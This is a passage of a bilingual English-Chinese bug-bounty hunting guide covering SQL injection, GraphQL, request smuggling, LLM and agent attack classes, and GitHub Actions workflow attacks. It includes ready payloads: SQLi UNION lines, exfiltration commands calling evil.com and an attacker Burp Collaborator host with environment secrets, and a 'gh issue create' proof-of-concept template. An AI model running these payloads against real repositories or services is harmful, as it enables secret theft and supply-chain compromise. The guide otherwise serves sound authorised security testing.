-- 3. prove readable data (ONE value is enough for a valid report)
0' UNION SELECT NULL,@@version,NULL--               -- MSSQL/MySQL
0' UNION SELECT NULL,version(),NULL--               -- PostgreSQL
-- one-request dump when proving a sensitive table:
-- MySQL GROUP_CONCAT() · MSSQL/PG STRING_AGG() · Oracle LISTAGG()
能够读取敏感行(例如 config/credentials 表)的 SQLi 已经是有效的高危发现——针对可读取的数据提交,不要只提交一个 500 错误。你不需要 RCE。
**条件性升级(大多数 SQLi 止步于数据读取)。**只有当数据库账户是
sysadmin
/superuser,并且主机利用在计划范围内时,SQLi -> OS RCE 才适用(MSSQL
xp_cmdshell
、PG
COPY…FROM PROGRAM
、MySQL
INTO OUTFILE
)。在漏洞赏金计划中,这通常不在范围内——证明数据读取,在 Impact 中说明升级潜力,不要执行。

GraphQL

GraphQL

Introspection (alone = Informational, but reveals attack surface)

Introspection(单独存在 = Informational,但会暴露攻击面)

graphql
{ __schema { types { name fields { name type { name } } } } }
graphql
{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

缺少字段级认证

graphql
undefined
graphql
undefined

User query returns only own data

User query returns only own data

{ user(id: 1) { name email } }
{ user(id: 1) { name email } }

But node() bypasses per-object auth:

But node() bypasses per-object auth:

{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefined
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefined

Batching Attack (Rate Limit Bypass)

批处理攻击(速率限制绕过)

json
[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]
json
[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

LLM / AI 功能

  • Prompt injection via user input passed to LLM
  • Indirect injection via document/URL the AI processes
  • IDOR in chat history (enumerate conversation IDs)
  • System prompt extraction via roleplay/encoding
  • RCE via code execution tool abuse
  • ASCII smuggling (invisible unicode in LLM output)
  • 用户输入传入 LLM 造成 Prompt Injection
  • AI 处理的文档/URL 导致间接注入
  • Chat 历史中的 IDOR(枚举 conversation ID)
  • 通过角色扮演/编码提取 System Prompt
  • 滥用代码执行工具实现 RCE
  • ASCII Smuggling(LLM 输出中的不可见 Unicode)

Agentic AI Hunting (OWASP ASI01-ASI10)

Agentic AI Hunting(OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:
Canonical mapping — single source of truth is
skills/llm-redteam/SKILL.md
. Mirrored here:
IDVuln ClassWhat to Test
ASI01Prompt Injection / Goal HijackOverride objectives via direct or indirect injection
ASI02Tool MisuseAttacker-controlled tool params (SSRF via "fetch URL", RCE via code tool)
ASI03Privilege CompromiseAgent uses broader perms / admin tokens than the user
ASI04Supply ChainCompromised plugin / MCP server / tool-output poisoning next agent
ASI05Code ExecutionUnsafe code-interpreter / sandbox escape
ASI06Memory & Context PoisoningPersistent RAG/memory corruption across sessions/users
ASI07Agent CommunicationInter-agent spoofing / IDOR (agent A reads agent B's context)
ASI08Excessive AgencyDestructive action without confirmation; cascading failures
ASI09Insecure Output HandlingAI output rendered as XSS / SQLi / command injection downstream
ASI10Sensitive Information DisclosureLeaks system prompt / keys / configs / user data
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
当目标拥有可使用工具的 AI Agent 时,以下是 10 类攻击:
标准映射的唯一可信来源是
skills/llm-redteam/SKILL.md
。此处同步列出:
ID漏洞类型测试内容
ASI01Prompt Injection / Goal Hijack通过直接或间接注入覆盖目标
ASI02Tool Misuse攻击者控制工具参数(通过“fetch URL”实施 SSRF,通过代码工具实施 RCE)
ASI03Privilege CompromiseAgent 使用比用户更广泛的权限/Admin Token
ASI04Supply Chain被攻陷的插件/MCP Server/工具输出投毒下一个 Agent
ASI05Code Execution不安全的代码解释器/Sandbox 逃逸
ASI06Memory & Context Poisoning跨会话/用户持久化 RAG/Memory 污染
ASI07Agent CommunicationAgent 间欺骗/IDOR(Agent A 读取 Agent B 的上下文)
ASI08Excessive Agency未确认即执行破坏性操作;引发级联故障
ASI09Insecure Output HandlingAI 输出在下游被渲染为 XSS/SQLi/命令注入
ASI10Sensitive Information Disclosure泄露 System Prompt/密钥/配置/用户数据
**Triage 规则:**单独的 ASI = Informational。必须与 IDOR/数据外泄/RCE/ATO 组成攻击链,才能获得赏金。

Cache Poisoning / Web Cache Deception

缓存投毒 / Web Cache Deception

  • Test
    X-Forwarded-Host
    ,
    X-Original-URL
    ,
    X-Rewrite-URL
    -- unkeyed headers reflected in response
  • Parameter cloaking (
    ?param=value;poison=xss
    )
  • Fat GET (body params on GET requests)
  • Web cache deception (
    /account/settings.css
    -- trick cache into storing private response)
  • Param Miner (Burp extension) -- auto-discovers unkeyed headers
  • 测试
    X-Forwarded-Host
    、
    X-Original-URL
    、
    X-Rewrite-URL
    ——未作为缓存键的 Header 被响应反射
  • 参数隐藏(
    ?param=value;poison=xss
    )
  • Fat GET(GET 请求携带 Body 参数)
  • Web Cache Deception(
    /account/settings.css
    ——诱导缓存存储私有响应)
  • Param Miner(Burp 扩展)——自动发现未作为缓存键的 Header

HTTP Request Smuggling

HTTP Request Smuggling

  • CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
  • TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
  • H2.CL: HTTP/2 downgrade smuggling
  • TE obfuscation:
    Transfer-Encoding: xchunked
    , tab prefix, space prefix
  • Use Burp "HTTP Request Smuggler" extension -- detects automatically
  • CL.TE:Frontend 处理 Content-Length,Backend 处理 Transfer-Encoding
  • TE.CL:Frontend 处理 Transfer-Encoding,Backend 处理 Content-Length
  • H2.CL:HTTP/2 降级走私
  • TE 混淆:
    Transfer-Encoding: xchunked
    、Tab 前缀、空格前缀
  • 使用 Burp“HTTP Request Smuggler”扩展——自动检测

CL.TE Example

CL.TE 示例

http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
Frontend 读取 Content-Length: 13 -> 发送全部内容。Backend 读取 Transfer-Encoding -> 将 chunk “0”视为结束 -> “SMUGGLED”留在缓冲区 -> 下一位用户的请求被投毒。

Android / Mobile Hunting

Android / 移动端 Hunting

  • Certificate pinning bypass (Frida/objection)
  • Exported activities/receivers (AndroidManifest.xml)
  • Deep link injection
  • Shared preferences / SQLite in cleartext
  • WebView JavaScript bridge
  • Mobile API often uses older/different API version than web
  • Certificate Pinning 绕过(Frida/objection)
  • 导出的 Activity/Receiver(AndroidManifest.xml)
  • Deep Link 注入
  • Shared Preferences / SQLite 明文存储
  • WebView JavaScript Bridge
  • 移动端 API 经常使用比 Web 端更旧或不同的 API 版本

CI/CD Pipeline — GitHub Actions Security

CI/CD Pipeline——GitHub Actions 安全

Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install:
brew install sisakulint
or download binary from releases.
Quick scan:
sisakulint scan .github/workflows/
— flags Critical/High issues with auto-fix suggestions. Remote scan:
sisakulint scan --remote owner/repo
— scan without cloning.
工具:使用 sisakulint 进行自动化 SAST——包含 52 条规则、跨步骤/Job/Reusable Workflow 的污点传播,并覆盖 81.6% 的 GitHub Security Advisories(38 个 GHSA 中的 31 个)。安装:
brew install sisakulint
或从 Releases 下载二进制文件。
快速扫描:
sisakulint scan .github/workflows/
——标记 Critical/High 问题并给出自动修复建议。 远程扫描:
sisakulint scan --remote owner/repo
——无需克隆即可扫描。

Recon: Finding Workflow Files

侦察:寻找 Workflow 文件

bash
undefined
bash
undefined

Clone target's public repos, then:

Clone target's public repos, then:

find . -name ".yml" -path "/.github/workflows/*" | head -50
find . -name ".yml" -path "/.github/workflows/*" | head -50

Quick grep for dangerous patterns:

Quick grep for dangerous patterns:

grep -rn "pull_request_target|workflow_run" .github/workflows/ grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/ grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/ grep -rn 'secrets.|secrets: inherit' .github/workflows/
grep -rn "pull_request_target|workflow_run" .github/workflows/ grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/ grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/ grep -rn 'secrets.|secrets: inherit' .github/workflows/

Run sisakulint on all workflows:

Run sisakulint on all workflows:

sisakulint scan .github/workflows/
undefined
sisakulint scan .github/workflows/
undefined

Category 1: Code Injection & Expression Safety (CICD-SEC-04)

类别 1:代码注入与表达式安全(CICD-SEC-04)

Root cause: Untrusted input (
github.event.issue.title
,
github.event.pull_request.body
, branch names, commit messages) interpolated into
run:
blocks via
${{ }}
expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
  • Expression injection —
    ${{ github.event.issue.title }}
    in
    run:
    block = RCE
    yaml
    # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
    run: echo "${{ github.event.issue.title }}"
    
    # FIXED — use env var (shell-quoted, not expression-interpolated)
    env:
      TITLE: ${{ github.event.issue.title }}
    run: echo "$TITLE"
  • Environment variable injection — untrusted input →
    $GITHUB_ENV
    yaml
    # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
    run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
    
    # FIXED — use heredoc delimiter
    run: |
      {
        echo "BRANCH<<EOF"
        echo "${{ github.head_ref }}"
        echo "EOF"
      } >> $GITHUB_ENV
  • PATH injection — untrusted input →
    $GITHUB_PATH
    = arbitrary binary execution
  • Output clobbering — untrusted input →
    $GITHUB_OUTPUT
    without heredoc delimiter = downstream job manipulation
  • Argument injection — untrusted input as CLI argument (e.g.,
    docker run ${{ ... }}
    )
    yaml
    # VULNERABLE
    run: docker run ${{ github.event.pull_request.body }}
    
    # FIXED — end-of-options marker + env var
    env:
      INPUT: ${{ github.event.pull_request.body }}
    run: docker run -- "$INPUT"
  • Request forgery (SSRF) — attacker-controlled URL in
    curl
    /
    wget
    within workflow
根因:不可信输入(
github.event.issue.title
、
github.event.pull_request.body
、分支名称、commit message)通过
${{ }}
表达式插入
run:
块。
污点来源(攻击者可控):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
  • 表达式注入——
    run:
    块中的
    ${{ github.event.issue.title }}
    = RCE
    yaml
    # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
    run: echo "${{ github.event.issue.title }}"
    
    # FIXED — use env var (shell-quoted, not expression-interpolated)
    env:
      TITLE: ${{ github.event.issue.title }}
    run: echo "$TITLE"
  • 环境变量注入——不可信输入 ->
    $GITHUB_ENV
    yaml
    # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
    run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
    
    # FIXED — use heredoc delimiter
    run: |
      {
        echo "BRANCH<<EOF"
        echo "${{ github.head_ref }}"
        echo "EOF"
      } >> $GITHUB_ENV
  • PATH 注入——不可信输入 ->
    $GITHUB_PATH
    = 任意二进制文件执行
  • 输出覆盖——不可信输入 ->
    $GITHUB_OUTPUT
    且没有 heredoc 分隔符 = 下游 Job 被操纵
  • 参数注入——不可信输入作为 CLI 参数(例如
    docker run ${{ ... }}
    )
    yaml
    # VULNERABLE
    run: docker run ${{ github.event.pull_request.body }}
    
    # FIXED — end-of-options marker + env var
    env:
      INPUT: ${{ github.event.pull_request.body }}
    run: docker run -- "$INPUT"
  • 请求伪造(SSRF)——攻击者控制的 URL 出现在 Workflow 的
    curl
    /
    wget
    中

Category 2: Pipeline Poisoning & Untrusted Checkout

类别 2:Pipeline 投毒与不可信 Checkout

Root cause: Privileged triggers (
pull_request_target
,
workflow_run
) checkout attacker's PR code, which then runs with repository secrets.
  • Untrusted checkout —
    actions/checkout
    on
    pull_request_target
    without explicit safe ref
    yaml
    # VULNERABLE — checks out attacker's PR code with repo secrets
    on: pull_request_target
    jobs:
      build:
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
          - run: make build  # runs attacker's Makefile with secrets
    
    # FIXED — only checkout base branch, or use read-only permissions
    permissions: {}
    steps:
      - uses: actions/checkout@v4  # checks out base branch by default
  • TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
  • Reusable workflow taint —
    secrets: inherit
    passes all secrets to called workflow that processes untrusted input
  • Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
  • Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
  • Artifact poisoning —
    actions/download-artifact
    from untrusted
    workflow_run
    without validation
    yaml
    # VULNERABLE — downloads artifact from untrusted workflow, then executes it
    on: workflow_run
    steps:
      - uses: actions/download-artifact@v4
      - run: ./downloaded-binary  # attacker-controlled binary
    
    # FIXED — verify artifact hash/signature before execution
  • Artipacked —
    actions/checkout
    with
    persist-credentials: true
    (default) leaks
    .git/config
    credentials in uploaded artifacts
    yaml
    # FIXED
    - uses: actions/checkout@v4
      with:
        persist-credentials: false
根因:高权限触发器(
pull_request_target
、
workflow_run
)checkout 攻击者的 PR 代码,随后在拥有仓库 Secret 的上下文中执行。
  • 不可信 Checkout——
    pull_request_target
    上的
    actions/checkout
    未指定安全 ref
    yaml
    # VULNERABLE — checks out attacker's PR code with repo secrets
    on: pull_request_target
    jobs:
      build:
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
          - run: make build  # runs attacker's Makefile with secrets
    
    # FIXED — only checkout base branch, or use read-only permissions
    permissions: {}
    steps:
      - uses: actions/checkout@v4
  • TOCTOU(检查时与使用时不一致)——通过 Label 审批 + 可变 ref = 攻击者在审批后添加 Label 并推送恶意 commit
  • Reusable Workflow 污点传播——
    secrets: inherit
    将所有 Secret 传给处理不可信输入的被调用 Workflow
  • 缓存投毒——不可信 Checkout -> Build -> 写入缓存 -> 受信任 Workflow 读取被投毒缓存
  • 缓存投毒(可投毒步骤)——不安全的 Checkout 后,在保存缓存前执行 Build 步骤
  • Artifact 投毒——
    actions/download-artifact
    从不可信
    workflow_run
    下载 Artifact 且未验证
    yaml
    # VULNERABLE — downloads artifact from untrusted workflow, then executes it
    on: workflow_run
    steps:
      - uses: actions/download-artifact@v4
      - run: ./downloaded-binary  # attacker-controlled binary
    
    # FIXED — verify artifact hash/signature before execution
  • Artipacked——
    actions/checkout
    的
    persist-credentials: true
    (默认值)会将
    .git/config
    凭据泄漏到上传的 Artifact 中
    yaml
    # FIXED
    - uses: actions/checkout@v4
      with:
        persist-credentials: false

Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

类别 3:供应链与依赖安全(CICD-SEC-08)

  • Unpinned actions —
    uses: actions/checkout@v4
    (mutable tag) instead of SHA pin
    yaml
    # VULNERABLE — tag can be force-pushed
    uses: actions/checkout@v4
    
    # FIXED — pinned to immutable commit SHA
    uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  • Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
  • Ref confusion — ambiguous tag/branch names exploited to load unintended action version
  • Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
  • Archived actions — unmaintained action with unpatched vulnerabilities
  • Unpinned container images —
    image: ubuntu:latest
    instead of SHA256 digest pin
  • 未固定版本的 Action——使用
    uses: actions/checkout@v4
    (可变 Tag),而不是固定 SHA
    yaml
    # VULNERABLE — tag can be force-pushed
    uses: actions/checkout@v4
    
    # FIXED — pinned to immutable commit SHA
    uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  • Impostor Commit——Fork 网络允许推送在 SHA 上看起来属于上游仓库的 commit
  • Ref 混淆——利用模糊的 Tag/Branch 名称加载非预期 Action 版本
  • 已知存在漏洞的 Action——根据 GHSA 数据库检查 Action(sisakulint 可自动检测)
  • 已归档 Action——不再维护且仍存在未修复漏洞
  • 未固定版本的容器镜像——使用
    image: ubuntu:latest
    ,而不是固定 SHA256 Digest

Category 4: Credential & Secret Protection

类别 4:凭据与 Secret 保护

  • Secret exfiltration —
    curl https://evil.com/${{ secrets.TOKEN }}
    in workflow
  • Secrets in artifacts — uploaded artifacts contain
    .env
    , credentials, or hidden files
    yaml
    # FIXED — exclude hidden files
    - uses: actions/upload-artifact@v4
      with:
        include-hidden-files: false
  • Unmasked secrets —
    fromJson()
    derived values bypass GitHub's automatic masking
    yaml
    # FIXED — manually mask derived secrets
    run: |
      TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
      echo "::add-mask::$TOKEN"
  • Excessive
    secrets: inherit
    — reusable workflow call inherits all secrets when it only needs one
  • Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML
  • Secret 外泄——Workflow 中执行
    curl https://evil.com/${{ secrets.TOKEN }}
  • Artifact 中包含 Secret——上传的 Artifact 含有
    .env
    、凭据或隐藏文件
    yaml
    # FIXED — exclude hidden files
    - uses: actions/upload-artifact@v4
      with:
        include-hidden-files: false
  • Secret 未被掩码——由
    fromJson()
    派生的值会绕过 GitHub 自动掩码
    yaml
    # FIXED — manually mask derived secrets
    run: |
      TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
      echo "::add-mask::$TOKEN"
  • 过度使用
    secrets: inherit
    ——Reusable Workflow 只需要一个 Secret,却继承了全部 Secret
  • 硬编码凭据——API Key、密码、Token 直接写在 Workflow YAML 中

Category 5: Triggers & Access Control (CICD-SEC-01)

类别 5:触发器与访问控制(CICD-SEC-01)

  • Dangerous triggers without mitigation —
    pull_request_target
    or
    workflow_run
    with no
    permissions: {}
    , no approval gate, no ref restriction
  • Dangerous triggers with partial mitigation — some protections present but bypassable
  • Label-based approval bypass —
    if: contains(github.event.pull_request.labels.*.name, 'approved')
    is spoofable (attacker can add labels)
  • Bot condition spoofing —
    if: github.actor != 'dependabot[bot]'
    is trivially bypassed by naming account similarly
  • Excessive GITHUB_TOKEN permissions —
    permissions: write-all
    when only
    contents: read
    needed
  • Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
  • OIDC token theft — CI runners expose OIDC tokens that grant cloud access
  • 没有缓解措施的危险触发器——
    pull_request_target
    或
    workflow_run
    没有
    permissions: {}
    、审批门禁或 ref 限制
  • 仅部分缓解的危险触发器——存在部分保护,但可以绕过
  • 基于 Label 的审批绕过——
    if: contains(github.event.pull_request.labels.*.name, 'approved')
    可以通过添加 Label 伪造
  • Bot 条件欺骗——
    if: github.actor != 'dependabot[bot]'
    可通过使用相似账户名轻易绕过
  • GITHUB_TOKEN 权限过大——只需要
    contents: read
    时却使用
    permissions: write-all
  • 公共仓库中的 Self-hosted Runner——不可信 PR 在组织基础设施上执行 = 容器逃逸 -> 横向移动
  • OIDC Token 窃取——CI Runner 暴露可授予云访问权限的 OIDC Token

Category 6: AI Agent Security (NEW — 2025+)

类别 6:AI Agent 安全(新增——2025+)

  • Unrestricted AI trigger —
    allowed_non_write_users: "*"
    lets any user trigger AI agent execution
  • Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
  • Prompt injection via workflow context —
    ${{ github.event.issue.body }}
    interpolated into AI agent prompt parameter
  • 不受限制的 AI 触发器——
    allowed_non_write_users: "*"
    允许任何用户触发 AI Agent 执行
  • 过度授予工具权限——AI Agent 在不可信触发上下文中拥有 Bash/Write/Edit 工具 = 攻击者 Prompt -> RCE
  • 通过 Workflow 上下文进行 Prompt Injection——
    ${{ github.event.issue.body }}
    被插入 AI Agent Prompt 参数

Hunting Workflow

Hunting 工作流

1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering

Expression Injection PoC Template

表达式注入 PoC 模板

bash
undefined
bash
undefined

Step 1: Create an issue with injection payload in title

Step 1: Create an issue with injection payload in title

gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated

Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated

CVSS: 9.3 Critical (RCE with repo secrets)

CVSS: 9.3 Critical (RCE with repo secrets)

undefined
undefined

Real-World GHSAs (Proven Payouts)

真实世界 GHSA(已证实可获得赏金)

GHSAActionBug ClassSeverity
GHSA-gq52-6phf-x2r6tj-actions/branch-namesExpression injection via branch nameCritical
GHSA-4xqx-pqpj-9fqwatlassian/gajira-createCode injection in privileged triggerCritical
GHSA-g86g-chm8-7r2pcheck-spelling/check-spellingSecret exposure in build logsCritical
GHSA-cxww-7g56-2vh6actions/download-artifactArtifact poisoning (official action)High
GHSA-h3qr-39j9-4r5vgradle/gradle-build-actionCache poisoning via untrusted checkoutHigh
GHSA-mrrh-fwg8-r2c3tj-actions/changed-filesSupply chain — impostor commitHigh
GHSA-phf6-hm3h-x8qpbroadinstitute/cromwellToken exposure via code injectionCritical
GHSA-qmg3-hpqr-gqvcreviewdog/action-setupTime-bomb via tag pinningHigh
GHSA-vqf5-2xx6-9wfmgithub/codeql-actionKnown vulnerable official actionHigh
GHSA-hw6r-g8gj-2987pytorch/pytorchArgument injection in build workflowModerate
GHSAAction漏洞类型严重程度
GHSA-gq52-6phf-x2r6tj-actions/branch-names通过 Branch Name 进行表达式注入Critical
GHSA-4xqx-pqpj-9fqwatlassian/gajira-create高权限触发器中的代码注入Critical
GHSA-g86g-chm8-7r2pcheck-spelling/check-spellingBuild Log 中的 Secret 暴露Critical
GHSA-cxww-7g56-2vh6actions/download-artifactArtifact 投毒(官方 Action)High
GHSA-h3qr-39j9-4r5vgradle/gradle-build-action通过不可信 Checkout 进行缓存投毒High
GHSA-mrrh-fwg8-r2c3tj-actions/changed-files供应链——Impostor CommitHigh
GHSA-phf6-hm3h-x8qpbroadinstitute/cromwell通过代码注入暴露 TokenCritical
GHSA-qmg3-hpqr-gqvcreviewdog/action-setup通过 Tag 固定实现 Time BombHigh
GHSA-vqf5-2xx6-9wfmgithub/codeql-action已知存在漏洞的官方 ActionHigh
GHSA-hw6r-g8gj-2987pytorch/pytorchBuild Workflow 中的参数注入Moderate

A→B Signal: CI/CD Chains

A→B 信号:CI/CD 链

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot

Deep-Dive: From sisakulint Finding to Bounty Report

深入解析:从 sisakulint 发现到漏洞赏金报告

sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
sisakulint 的发现是潜在可利用的问题——并非已确认漏洞。每个发现都需要手动验证。以下模式来自 36 份真实世界付费报告(总赏金超过 25 万美元)。每个章节都基于实际获得赏金时的思考过程。

1. Code Injection / Argument Injection

1. 代码注入 / 参数注入

Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
  1. Trigger accessibility —
    issues: opened
    and
    issue_comment: created
    are triggerable by ANY GitHub user.
    pull_request_target
    is triggerable via fork PR. Check if there's an
    if:
    condition filtering by actor/association.
  2. Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because
    cherry-picker.yml
    passed
    ${{ github.event.issue.title }}
    via
    with:
    to a composite action in another repo (
    bazelbuild/continuous-integration
    ). The composite action's
    action.yml
    had
    run: TITLE="${{ inputs.issue-title }}"
    . Conventional scanners (actionlint) missed this because they don't follow
    uses:
    into external composite actions. Always fetch and read the composite action's action.yml.
  3. Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used
    ${IFS}
    (Internal Field Separator) and Bash brace expansion
    {curl,-sSfL,URL}
    to bypass this. Issue titles/bodies have no such restriction.
  4. Secrets reachability — Check
    permissions:
    at workflow AND job level. No explicit
    permissions:
    block = repo default (often
    write-all
    ). Check
    env:
    blocks for
    ${{ secrets.* }}
    . Check if
    GITHUB_TOKEN
    has write permissions.
  5. Impact chain — Bazel: issue title injection → composite action shell injection →
    BAZEL_IO_TOKEN
    +
    GITHUB_TOKEN (write-all)
    → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).
Kill signals:
${{ contains(...) }}
or
${{ startsWith(...) }}
returning booleans are NOT injectable — false positive.
${{ github.event.pull_request.labels.*.name }}
inside
contains()
evaluates to
true
/
false
, not the label text.
门禁问题:外部攻击者能否触发此 Workflow,且受污染输入是否会进入 Shell 上下文?
验证深度:
  1. 触发可访问性——
    issues: opened
    和
    issue_comment: created
    可由任何 GitHub 用户触发。
    pull_request_target
    可通过 Fork PR 触发。检查是否存在按 actor/association 过滤的
    if:
    条件。
  2. 直接污点与传递污点——Workflow 文件本身可能看起来安全。Cycode 发现 Bazel 的 1.3 万美元漏洞,是因为
    cherry-picker.yml
    通过
    with:
    将
    ${{ github.event.issue.title }}
    传递给另一个仓库中的 Composite Action(
    bazelbuild/continuous-integration
    )。Composite Action 的
    action.yml
    中包含
    run: TITLE=\"${{ inputs.issue-title }}\"
    。传统扫描器(actionlint)会漏报,因为它们不会跟随
    uses:
    进入外部 Composite Action。始终获取并阅读 Composite Action 的 action.yml。
  3. Payload 构造——Branch Name 不能包含空格。Ultralytics YOLO 攻击者使用
    ${IFS}
    (Internal Field Separator)和 Bash 花括号展开
    {curl,-sSfL,URL}
    绕过限制。Issue 标题/正文没有这种限制。
  4. Secret 可触达性——检查 Workflow 和 Job 级别的
    permissions:
    。没有显式
    permissions:
    块意味着使用仓库默认值(通常为
    write-all
    )。检查
    env:
    块中是否存在
    ${{ secrets.* }}
    。检查
    GITHUB_TOKEN
    是否拥有写权限。
  5. 影响链——Bazel:Issue 标题注入 -> Composite Action Shell 注入 ->
    BAZEL_IO_TOKEN
    +
    GITHUB_TOKEN(write-all)
    -> 可以植入 Bazel 代码库后门,影响 Google、Kubernetes、Uber、LinkedIn。
淘汰信号:
${{ contains(...) }}
或
${{ startsWith(...) }}
返回布尔值,因此不可注入——属于误报。
${{ github.event.pull_request.labels.*.name }}
放在
contains()
中时会被计算为
true
/
false
,而不是 Label 文本。

2. Untrusted Checkout (Pwn Request)

2. 不可信 Checkout(Pwn Request)

Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
  1. Explicit vs implicit code execution — The Flank $7.5K bug:
    gh pr checkout
    →
    gradle/gradle-build-action
    runs Gradle → Gradle auto-evaluates
    settings.gradle.kts
    as Kotlin script. The attacker never wrote a
    run:
    command. Any build tool that reads config from the repo is an execution vector:
    Makefile
    ,
    package.json
    (postinstall scripts),
    setup.py
    ,
    build.gradle.kts
    ,
    .cargo/config.toml
    ,
    Gemfile
    .
  2. Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft:
    issue_comment
    trigger +
    refs/pull/${{ github.event.issue.number }}/head
    checkout.
    issue_comment
    runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
  3. Self-hosted runner escalation — If
    runs-on:
    contains
    self-hosted
    , check: (a) Is the runner ephemeral? (
    --ephemeral
    in config.sh). (b) Is the runner in Docker group? (
    docker run -v /:/host --privileged
    ). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner:
    RUNNER_TRACKING_ID=0
    + install attacker's runner agent) → wait for privileged workflow → steal PATs from
    .git/config
